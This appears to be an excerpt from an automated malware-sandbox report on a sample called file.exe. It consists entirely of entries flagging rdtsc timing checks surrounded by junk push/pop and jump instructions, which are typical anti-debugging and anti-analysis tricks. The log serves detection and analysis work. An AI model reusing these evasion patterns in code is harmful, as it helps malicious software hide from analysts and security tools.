Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14630ED second address: 14630F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14630F2 second address: 146310D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE534h 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146310D second address: 1463113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463276 second address: 146327A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146327A second address: 1463280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463280 second address: 14632BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDA8CCCE536h 0x0000000b pop ecx 0x0000000c jc 00007FDA8CCCE550h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDA8CCCE536h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146350D second address: 1463526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FDA8CCA1266h 0x0000000e jmp 00007FDA8CCA126Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463526 second address: 1463547 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDA8CCCE526h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007FDA8CCCE52Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463547 second address: 1463551 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146BA63 second address: 146BA75 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jg 00007FDA8CCCE526h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469D34 second address: 1469D4D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jbe 00007FDA8CCA1266h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDA8CCA126Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469D4D second address: 1469D53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469D53 second address: 1469D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146A055 second address: 146A071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jl 00007FDA8CCCE539h 0x0000000d jmp 00007FDA8CCCE52Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146AB86 second address: 146AB90 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDA8CCA126Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146B779 second address: 146B7A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE535h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FDA8CCCE528h 0x0000000f jl 00007FDA8CCCE532h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DD0E second address: 146DD12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DD12 second address: 146DD2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDA8CCCE532h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DD2C second address: 146DD30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DD30 second address: 146DD36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DD36 second address: 146DD50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA1270h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DD50 second address: 146DD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DD56 second address: 146DD7F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 ja 00007FDA8CCA1266h 0x0000000f jmp 00007FDA8CCA1278h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DD7F second address: 146DD86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DD86 second address: 146DD9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007FDA8CCA1266h 0x00000009 ja 00007FDA8CCA1266h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DD9A second address: 146DD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147256B second address: 1472570 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1472570 second address: 147258D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007FDA8CCCE52Eh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147537B second address: 147538A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDA8CCA1266h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1475509 second address: 1475550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE52Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007FDA8CCCE526h 0x00000016 jmp 00007FDA8CCCE52Ah 0x0000001b popad 0x0000001c ja 00007FDA8CCCE53Ch 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14756B4 second address: 14756BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FDA8CCA1266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14759D0 second address: 14759D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14759D6 second address: 14759DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1475EE8 second address: 1475EF3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9A51 second address: 13C9A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9A58 second address: 13C9A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9A5E second address: 13C9A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CAE6 second address: 147CAF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FDA8CCCE526h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CAF2 second address: 147CAFC instructions: 0x00000000 rdtsc 0x00000002 js 00007FDA8CCA126Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CF38 second address: 147CF56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDA8CCCE537h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147D39D second address: 147D3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147D4F7 second address: 147D4FD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147D697 second address: 147D69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147E78D second address: 147E7AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FDA8CCCE526h 0x00000009 jmp 00007FDA8CCCE537h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C5C2 second address: 147C5C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C5C6 second address: 147C5E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE531h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1483302 second address: 148330E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148330E second address: 148332C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDA8CCCE538h 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148332C second address: 148333E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jno 00007FDA8CCA1266h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148333E second address: 1483367 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE536h 0x00000007 jc 00007FDA8CCCE526h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1486485 second address: 14864A8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDA8CCA127Dh 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007FDA8CCA1275h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1491A75 second address: 1491A8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDA8CCCE52Eh 0x0000000b pop edi 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1491A8E second address: 1491A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA8CCA126Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1491BD6 second address: 1491BDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1491BDC second address: 1491C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FDA8CCA1274h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDA8CCA1270h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1491C08 second address: 1491C22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE530h 0x00000007 jp 00007FDA8CCCE526h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149406F second address: 149408C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FDA8CCA1275h 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1493DBF second address: 1493DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1493DC3 second address: 1493DDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA1278h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1493DDF second address: 1493DFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE538h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1493DFF second address: 1493E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14993C1 second address: 14993CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14993CF second address: 14993D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14993D3 second address: 14993D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14993D7 second address: 14993DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149DD97 second address: 149DDBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FDA8CCCE52Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007FDA8CCCE535h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149DDBF second address: 149DDE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDA8CCA1273h 0x0000000d jmp 00007FDA8CCA126Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A0EB5 second address: 14A0EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A0EBF second address: 14A0EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A0EC4 second address: 14A0EF2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDA8CCCE53Eh 0x00000008 jmp 00007FDA8CCCE532h 0x0000000d jp 00007FDA8CCCE526h 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007FDA8CCCE526h 0x0000001b jg 00007FDA8CCCE526h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AA06B second address: 14AA08D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDA8CCA1277h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AA08D second address: 14AA0AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 jmp 00007FDA8CCCE531h 0x0000000b jbe 00007FDA8CCCE526h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AA0AB second address: 14AA0B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B0CAA second address: 14B0CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDA8CCCE526h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B0DF8 second address: 14B0DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B0F54 second address: 14B0F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B122E second address: 14B124B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 je 00007FDA8CCA1266h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FDA8CCA126Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B1568 second address: 14B156E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B1698 second address: 14B169C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B169C second address: 14B16A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B20A4 second address: 14B20A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B20A8 second address: 14B20C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE536h 0x00000007 jne 00007FDA8CCCE526h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B5A8E second address: 14B5A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jl 00007FDA8CCA1266h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B5A9D second address: 14B5AA8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C4FB9 second address: 14C4FBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C4FBD second address: 14C4FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDA8CCCE52Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C4FD0 second address: 14C4FDF instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDA8CCA126Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C4FDF second address: 14C4FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BEEF0 second address: 14BEF21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA1271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDA8CCA126Ah 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jnp 00007FDA8CCA1266h 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BEF21 second address: 14BEF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BEF25 second address: 14BEF29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D3176 second address: 14D317D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D317D second address: 14D3185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D3185 second address: 14D3190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D2CFF second address: 14D2D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jmp 00007FDA8CCA1278h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDA8CCA126Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D2D2D second address: 14D2D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDA8CCCE526h 0x0000000a jp 00007FDA8CCCE526h 0x00000010 rdtsc
